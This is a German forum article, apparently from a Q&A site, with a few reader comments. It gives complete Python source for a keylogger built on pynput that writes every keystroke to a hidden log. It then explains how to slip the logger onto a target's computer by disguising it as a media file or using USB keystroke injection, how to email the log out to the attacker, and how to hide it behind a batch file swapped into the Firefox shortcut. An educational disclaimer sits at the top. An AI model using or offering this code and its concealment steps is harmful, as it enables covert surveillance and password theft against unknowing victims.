+8 Daumen
140 Aufrufe

keylogger.png

Disclaimer

Die hier beschriebene Angriffstechnik darf nur auf dem eigenen Rechner durchgefĂŒhrt werden. Auf Rechnern Dritter darf die hier beschriebene Angriffstechnik nur dann durchgefĂŒhrt werden, wenn der Besitzer dieses Rechners seine Zustimmung dafĂŒr gegeben hat. Ich ĂŒbernehme keine Haftung fĂŒr jedwede durch Missachtung dieser Vorgaben entstandenen SchĂ€den! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!

1. EinfĂŒhrung

Ein Keylogger (zu Deutsch: „Tasten-Protokollierer“) dient der Erstellung eines Protokolls ĂŒber die vom Target gedrĂŒckten Tasten.  Dadurch ist es möglich, das Target zu ĂŒberwachen und alle seine Eingaben zu rekonstruieren. Auch das AusspĂ€hen von Passwörtern fĂŒr Web-Apps ist mit einem Keylogger eine Leichtigkeit, da (je nach Implementierung) alle TastenanschlĂ€ge des Targets im Klartext gespeichert werden.

Ermittlungsbehörden, Nachrichtendienste und Blackhats verwenden Keylogger, um an PINs, Passwörter oder vertrauliche Informationen zu gelangen. Der unerlaubte Einsatz ist in Deutschland gemĂ€ĂŸ §202a StGB strafbar.

In diesem Artikel, der auch als kleiner Appetizer fĂŒr die geplante Python-Tutorialreihe fungiert, geht es um die Implementierung eines Keyloggers in Python unter Zuhilfenahme des Moduls pynput.

2. Python Keylogger mit pynput

Zum Programmieren eines eigenen Keyloggers in Python bietet sich das Modul pynput an, das Sie hier (https://github.com/moses-palmer/pynput) downloaden können.

1.png

Wechseln Sie nach dem Download (ZIP-File) in Ihren Download-Ordner und extrahieren Sie das heruntergeladene ZIP-File. Navigieren Sie in den Unterordner pynput-master\pynput-master und installieren Sie das Modul durch einen Doppelklick auf das Skript setup.py.

2.png

Alternativ kann die Installation ĂŒber den Konsolenbefehl python setup.py install erfolgen. Zur Kontrolle, ob das Modul richtig installiert wurde, können Sie die Python-Shell öffnen und den Befehl import pynput eintippen. Wenn nach dem Klick auf ENTER keine Fehlermeldung erscheint, wurde pynput erfolgreich installiert und kann in Python-Skripten verwendet werden. FĂŒr das Keylogger-Skript benötigen Sie folgende Imports:

from pynput.keyboard import Key, Listener
import logging

In einer Variable log_destination geben Sie an, wo das Logfile, welches beim AusfĂŒhren des Keyloggers erzeugt wird, gespeichert werden soll. Weisen Sie dieser Variablen einen leeren String ("") zu, so wird das Logfile mit den Keyboard-Input an dem Ort des Python-Skripts erzeugt/gespeichert. In einer weiteren Variable log_name wird der Name und das Dateiformat des Logfiles (ĂŒblicherweise ".txt") definiert.

log_destination = ""
log_name = "log.txt"

Als nĂ€chstes wird die Konfiguration fĂŒr das Logfile vorgenommen (samt gewĂŒnschter Formatierung).

logging.basicConfig(filename=(log_destination + log_name), level=logging.DEBUG, format='%(asctime)s >> %(message)s')

Zum Schluss wird eine on_press Funktion (die Namensgebung ist vorgeschrieben!) implementiert, die das Logging ĂŒbernimmt.

def on_press(key):
    x = logging.info(key)
with Listener(on_press=on_press) as listener:
    listener.join()

Das Keylogger-Skript sieht also folgendermaßen aus:

from pynput.keyboard import Key, Listener
import logging

log_destination = ""
log_name = "log.txt"

logging.basicConfig(filename=(log_destination + log_name), level=logging.DEBUG, format='%(asctime)s >> %(message)s')

def on_press(key):
    x = logging.info(key)
with Listener(on_press=on_press) as listener:
    listener.join()

Öffnen Sie einen beliebigen Editor, kopieren Sie den obigen Code hinein und speichern Sie das File mit der Dateiendung ".pyw" ab (z. B. "keylogger.pyw"). Im Gegensatz zur Dateiendung ".py" sorgt das am Ende angehĂ€ngte "w" dafĂŒr, dass das Skript „leise“ im Hintergrund ausgefĂŒhrt wird.

Das Skript können Sie testweise per Doppelklick auf das "keylogger.pyw"-File oder ĂŒber die Konsole mit dem Befehl python keylogger.pyw starten. Zum Beenden mĂŒssen Sie den Taskmanager aufrufen und den Python-Prozess stoppen:

3.png

3. Praktische DurchfĂŒhrung des Angriffs

Das Tool alleine ist nur Teil eines Keylogger-Angriffs. Man muss sich vor allem ĂŒberlegen, wie man das Skript unbemerkt auf den Rechner des Targets bekommt und die Informationen nach dem Logging-Prozess abgreifen kann. Hierzu sind verschiedene Varianten denkbar:

- Das Skript wird per E-Mail als Media File (Bild-, Audio- oder Video-Datei) getarnt versendet. Das Skript selbst (bzw. der Code dafĂŒr) kann in dem entsprechenden File versteckt werden und bei physischem Zugriff auf den Rechner des Targets schnell extrahiert werden. Hierzu könnte mit dem USB Rubber Ducky ein Keystroke Injection Angriff durchgefĂŒhrt werden, der nach dem File sucht, das Skript extrahiert und z. B. im Autostart einhĂ€ngt.

- Das Skript wird auf einem Server gespeichert, bei physischem Zugriff auf den Rechner des Targets heruntergeladen und (wie bereits beschrieben) an verschiedenen Stellen eingehĂ€ngt. Auch hierzu eignet sich ein Keystroke Injection Angriff.

- Ebenfalls ĂŒber einen Keystroke Injection Angriff lĂ€uft die dritte Variante, bei der das Skript direkt am Target-Rechner programmiert und eingehĂ€ngt wird. Dadurch ist keine Verbindung nach Außen nötig.

Das Logfile selbst könnte (möglichst unbemerkt) periodisch per E-Mail an den Angreifer gesendet werden. Wenn der Angreifer im Vorfeld weiß, dass er in Zukunft wieder physischen Kontakt auf den Rechner des Targets erhĂ€lt, kann er geduldig die nĂ€chste Möglichkeit abwarten und das File, welches in weiser Voraussicht gut versteckt wurde, unbemerkt abgreifen.

In dem Logfile selbst werden neben den gedrĂŒckten Tasten auch die Zeiten, zu denen sie gedrĂŒckt wurden, gespeichert. Dadurch kann man genau nachvollziehen, was das Target am Rechner getan hat. Zudem können kausale ZusammenhĂ€nge aus dem Trace abgeleitet werden. Hierdurch wird es z. B. auch möglich mit den geloggten Daten ein neuronales Netz zu trainieren, das beim Einsatz behavioraler Authentifizierung das Verhalten des Targets nachahmen und sich so unbemerkt einnisten kann (sollte bspw. das Tippverhalten ein ausschlaggebendes Kriterium fĂŒr die behaviorale Authentifizierung sein).

Der Inhalt eines Logfiles sieht z. B. wie folgt aus:

2018-02-28 00:44:21,410 >> Key.shift
2018-02-28 00:44:22,078 >> 'D'
2018-02-28 00:44:22,415 >> 'i'
2018-02-28 00:44:22,550 >> 'e'
2018-02-28 00:44:22,694 >> 's'
2018-02-28 00:44:22,826 >> Key.space
2018-02-28 00:44:23,127 >> 'i'
2018-02-28 00:44:23,204 >> 's'
2018-02-28 00:44:23,402 >> 't'
2018-02-28 00:44:23,523 >> Key.space
2018-02-28 00:44:23,675 >> 'e'
2018-02-28 00:44:23,783 >> 'i'
2018-02-28 00:44:23,827 >> 'n'
2018-02-28 00:44:23,965 >> Key.space
2018-02-28 00:44:24,082 >> Key.shift
2018-02-28 00:44:24,284 >> 'T'
2018-02-28 00:44:24,369 >> 'e'
2018-02-28 00:44:24,508 >> 's'
2018-02-28 00:44:24,582 >> 't'
2018-02-28 00:44:25,416 >> Key.shift
2018-02-28 00:44:25,885 >> '!'

4. Tarnen des Skripts

Dass die Dateiendung ".pyw" das Skript im Hintergrund ausfĂŒhrt, wurde bereits erwĂ€hnt. Eine pragmatische Tarnung ist das EinhĂ€ngen in Autostart. Sind nur bestimmte Informationen wichtig (z. B. Passwörter fĂŒr Online-Accounts) kann man ein Batch-File schreiben, das den Keylogger und z. B. den Standard-Browser des Targets aufruft. Somit wird alles ab dem Öffnen des Browsers mitgeschnitten. Der Tarnungsprozess wird exemplarisch fĂŒr den Firefox-Webbrowser vorgefĂŒhrt:

4.1 Batch-File erstellen

Das Batch-File besteht aus lediglich drei Anweisungen:

@echo off
start "" "C:\Users\%username%\...\keylogger.pyw"
start "" "C:\Program Files\Mozilla Firefox\firefox.exe"

Das File wird z. B. unter dem Namen "starter.bat" gespeichert.

4.2 Batch-File einhÀngen

FĂŒhren Sie einen Rechtsklick auf das Firefox-Icon auf dem Target-Rechner aus und wĂ€hlen Sie die Option "Eigenschaften" aus.

4.png

Kopieren Sie den Link zum Batch-File in das Feld "Ziel" und ĂŒbernehmen Sie die Änderungen.

5.png

Zum Schluss mĂŒssen Sie ggf. das Logo fĂŒr den Firefox-Webbrowser wiederherstellen und die Illusion ist perfekt.


Das Mitglied hat durch den Artikel 50 Bonuspunkte erhalten. Schreib auch du einen Artikel.
geschlossen: Stack-Artikel
Gefragt von 7,8 k

Sehr schön geschrieben/interessant. Ein Test (am eigenen Rechner natĂŒrlich) steht allerdings noch aus!

Merci :)

Gerne doch!

Ein Test (am eigenen Rechner natĂŒrlich)

Löblich, löblich ;-)

Sollte etwas nicht funktionieren, stelle Deine Frage einfach hier und wir finden eine Lösung.

Hey André!!! Ich habe jetzt auch einen Account :-D Der Beitrag ist sehr interessant!

Ich habe jetzt auch einen Account :-D

Super! Allerdings kann ich nur aufgrund des Nicks nicht wirklich erraten, wer Du bist :) Stelle gerne Deine Fragen hier in dem Informatik-Portal.

Ein anderes Problem?

Stell deine Frage

Willkommen bei der Stacklounge! Stell deine Frage sofort und kostenfrei

x
Made by a lovely community
...